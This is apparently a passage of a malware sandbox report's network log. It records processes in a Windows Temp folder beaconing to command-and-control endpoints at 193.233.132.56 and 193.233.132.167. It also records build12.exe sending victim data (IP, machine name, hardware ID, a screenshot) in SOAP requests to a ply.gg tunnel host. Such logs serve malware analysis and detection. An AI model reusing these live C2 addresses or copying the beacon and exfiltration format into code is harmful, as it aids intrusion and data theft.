Apr 19, 2024 03:34:13.761305094 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:14.013081074 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
925	192.168.2.5	50775	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:13.974232912 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:14.225613117 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
926	192.168.2.5	50776	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:14.371309042 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:14.619168997 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
927	192.168.2.5	50777	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:14.591427088 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:14.843400002 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
928	192.168.2.5	50778	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:14.865892887 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:15.112118959 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
929	192.168.2.5	50779	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:15.106594086 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:15.363140106 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
930	192.168.2.5	50780	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:15.475387096 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:15.719880104 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
931	192.168.2.5	50781	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:15.730767965 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:15.982017040 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
932	192.168.2.5	50782	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:15.975219965 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:16.227665901 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
933	192.168.2.5	50783	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:16.235085011 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:16.489460945 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
934	192.168.2.5	50784	147.185.221.19	30946	5608	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:16.340714931 CEST	224	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: b-stamps.gl.at.ply.gg:30946 Content-Length: 95713 Expect: 100-continue Accept-Encoding: gzip, deflate
Apr 19, 2024 03:34:16.976345062 CEST	1289	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: b-stamps.gl.at.ply.gg:30946 Content-Length: 95713 Expect: 100-continue Accept-Encoding: gzip, deflate Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 75 73 65 72 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 43 69 74 79 3e 55 4e 4b 4e 4f 57 4e 3c 2f 61 3a 43 69 74 79 3e 3c 61 3a 43 6f 75 6e 74 72 79 3e 55 53 3c 2f 61 3a 43 6f 75 6e 74 72 79 3e 3c 61 3a 46 69 6c 65 4c 6f 63 61 74 69 6f 6e 3e 43 3a 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 54 65 6d 70 5c 31 30 30 30 31 38 37 30 30 31 5c 62 75 69 6c 64 31 32 2e 65 78 65 3c 2f 61 3a 46 69 6c 65 4c 6f 63 61 74 69 6f 6e 3e 3c 61 3a 48 61 72 64 77 61 72 65 3e 39 46 31 39 36 42 34 39 37 42 44 46 44 30 43 45 44 38 33 32 44 34 41 42 38 41 41 43 33 42 34 46 3c 2f 61 3a 48 61 72 64 77 61 72 65 3e 3c 61 3a 49 50 76 34 3e 38 31 2e 31 38 31 2e 35 37 2e 35 32 3c 2f 61 3a 49 50 76 34 3e 3c 61 3a 4c 61 6e 67 75 61 67 65 3e 45 6e 67 6c 69 73 68 20 28 55 6e 69 74 65 64 20 4b 69 6e 67 64 6f 6d 29 3c 2f 61 3a 4c 61 6e 67 75 61 67 65 3e 3c 61 3a 4d 61 63 68 69 6e 65 4e 61 6d 65 3e 61 6c 66 6f 6e 73 3c 2f 61 3a 4d 61 63 68 69 6e 65 4e 61 6d 65 3e 3c 61 3a 4d 6f 6e 69 74 6f 72 3e 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 42 51 41 41 41 41 51 41 43 41 59 41 41 41 43 2b 6b 2f 52 44 41 41 41 41 41 58 4e 53 52 30 49 41 72 73 34 63 36 51 41 41 41 41 52 6e 51 55 31 42 41 41 43 78 6a 77 76 38 59 51 55 41 41 41 41 4a 63 45 68 5a 63 77 41 41 44 73 4d 41 41 41 37 44 41 63 64 76 71 47 51 41 41 4b 4e 63 53 55 52 42 56 48 68 65 37 50 31 2f 65 42 7a 33 66 65 42 35 37 68 39 33 74 33 76 6e 5a 35 37 64 6d 39 76 62 33 64 6c 6e 62 37 6d 36 33 5a 32 39 33 4d 37 74 62 76 59 77 73 35 37 6c 2f 76 41 6f 48 74 73 38 61 31 65 30 4d 78 6b 34 6b 59 53 4d 6e 46 43 32 4d 34 77 63 6d 35 62 74 51 46 46 69 4a 4a 62 43 53 4c 49 74 78 54 4b 63 52 4d 4c 45 69 65 69 78 45 6c 69 79 41 74 6b 5a 67 34 6b 74 57 42 61 44 53 45 34 67 55 68 59 6b 57 59 52 2b 67 70 5a 6f 79 42 51 46 6b 52 4c 42 58 2f 70 63 66 61 75 71 67 65 35 47 6f 51 43 51 41 49 6c 75 76 74 37 50 38 35 6f 49 36 4f 37 71 71 75 71 47 35 50 70 4d 56 66 65 2f 46 5a 49 6b 53 5a 49 6b 53 5a 4b 36 4e 67 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdates xmlns="http://tempuri.org/"><user xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:City>UNKNOWN</a:City><a:Country>US</a:Country><a:FileLocation>C:\Users\user\AppData\Local\Temp\1000187001\build12.exe</a:FileLocation><a:Hardware>9F196B497BDFD0CED832D4AB8AAC3B4F</a:Hardware><a:IPv4>81.181.57.52</a:IPv4><a:Language>English (United Kingdom)</a:Language><a:MachineName>user</a:MachineName><a:Monitor>iVBORw0KGgoAAAANSUhEUgAABQAAAAQACAYAAAC+k/RDAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAKNcSURBVHhe7P1/eBz3feB57h93t3vnZ57dm9vb3dlnb7m63Z293M7tbvYws57l/vAoHts8a1e0Mxk4kYSMnFC2M4wcm5btQFFiJJbCSLItxTKcRMLEieixEliyAtkZg4ktWBaDSE4gUhYkWYR+gpZoyBQFkRLBX/pcfauqge5GoQCQAIluvt7P85oI6O7qquqG5PpMVfe/FZIkSZIkSZK6NgNASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZ
Apr 19, 2024 03:34:18.843758106 CEST	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 19 Apr 2024 01:34:18 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
935	192.168.2.5	50785	147.185.221.19	30946	7324	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:16.341315985 CEST	224	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: b-stamps.gl.at.ply.gg:30946 Content-Length: 95714 Expect: 100-continue Accept-Encoding: gzip, deflate
Apr 19, 2024 03:34:16.984699011 CEST	1289	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: b-stamps.gl.at.ply.gg:30946 Content-Length: 95714 Expect: 100-continue Accept-Encoding: gzip, deflate Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 75 73 65 72 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 43 69 74 79 3e 55 4e 4b 4e 4f 57 4e 3c 2f 61 3a 43 69 74 79 3e 3c 61 3a 43 6f 75 6e 74 72 79 3e 55 53 3c 2f 61 3a 43 6f 75 6e 74 72 79 3e 3c 61 3a 46 69 6c 65 4c 6f 63 61 74 69 6f 6e 3e 43 3a 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 54 65 6d 70 5c 31 30 30 30 31 38 38 30 30 31 5c 62 75 69 6c 64 31 32 2e 65 78 65 3c 2f 61 3a 46 69 6c 65 4c 6f 63 61 74 69 6f 6e 3e 3c 61 3a 48 61 72 64 77 61 72 65 3e 39 46 31 39 36 42 34 39 37 42 44 46 44 30 43 45 44 38 33 32 44 34 41 42 38 41 41 43 33 42 34 46 3c 2f 61 3a 48 61 72 64 77 61 72 65 3e 3c 61 3a 49 50 76 34 3e 38 31 2e 31 38 31 2e 35 37 2e 35 32 3c 2f 61 3a 49 50 76 34 3e 3c 61 3a 4c 61 6e 67 75 61 67 65 3e 45 6e 67 6c 69 73 68 20 28 55 6e 69 74 65 64 20 4b 69 6e 67 64 6f 6d 29 3c 2f 61 3a 4c 61 6e 67 75 61 67 65 3e 3c 61 3a 4d 61 63 68 69 6e 65 4e 61 6d 65 3e 61 6c 66 6f 6e 73 3c 2f 61 3a 4d 61 63 68 69 6e 65 4e 61 6d 65 3e 3c 61 3a 4d 6f 6e 69 74 6f 72 3e 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 42 51 41 41 41 41 51 41 43 41 59 41 41 41 43 2b 6b 2f 52 44 41 41 41 41 41 58 4e 53 52 30 49 41 72 73 34 63 36 51 41 41 41 41 52 6e 51 55 31 42 41 41 43 78 6a 77 76 38 59 51 55 41 41 41 41 4a 63 45 68 5a 63 77 41 41 44 73 4d 41 41 41 37 44 41 63 64 76 71 47 51 41 41 4b 4e 63 53 55 52 42 56 48 68 65 37 50 31 2f 65 42 7a 33 66 65 42 35 37 68 39 33 74 33 76 6e 5a 35 37 64 6d 39 76 62 33 64 6c 6e 62 37 6d 36 33 5a 32 39 33 4d 37 74 62 76 59 77 73 35 37 6c 2f 76 41 6f 48 74 73 38 61 31 65 30 4d 78 6b 34 6b 59 53 4d 6e 46 43 32 4d 34 77 63 6d 35 62 74 51 46 46 69 4a 4a 62 43 53 4c 49 74 78 54 4b 63 52 4d 4c 45 69 65 69 78 45 6c 69 79 41 74 6b 5a 67 34 6b 74 57 42 61 44 53 45 34 67 55 68 59 6b 57 59 52 2b 67 70 5a 6f 79 42 51 46 6b 52 4c 42 58 2f 70 63 66 61 75 71 67 65 35 47 6f 51 43 51 41 49 6c 75 76 74 37 50 38 35 6f 49 36 4f 37 71 71 75 71 47 35 50 70 4d 56 66 65 2f 46 5a 49 6b 53 5a 49 6b 53 5a 4b 36 4e 67 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdates xmlns="http://tempuri.org/"><user xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:City>UNKNOWN</a:City><a:Country>US</a:Country><a:FileLocation>C:\Users\user\AppData\Local\Temp\1000188001\build12.exe</a:FileLocation><a:Hardware>9F196B497BDFD0CED832D4AB8AAC3B4F</a:Hardware><a:IPv4>81.181.57.52</a:IPv4><a:Language>English (United 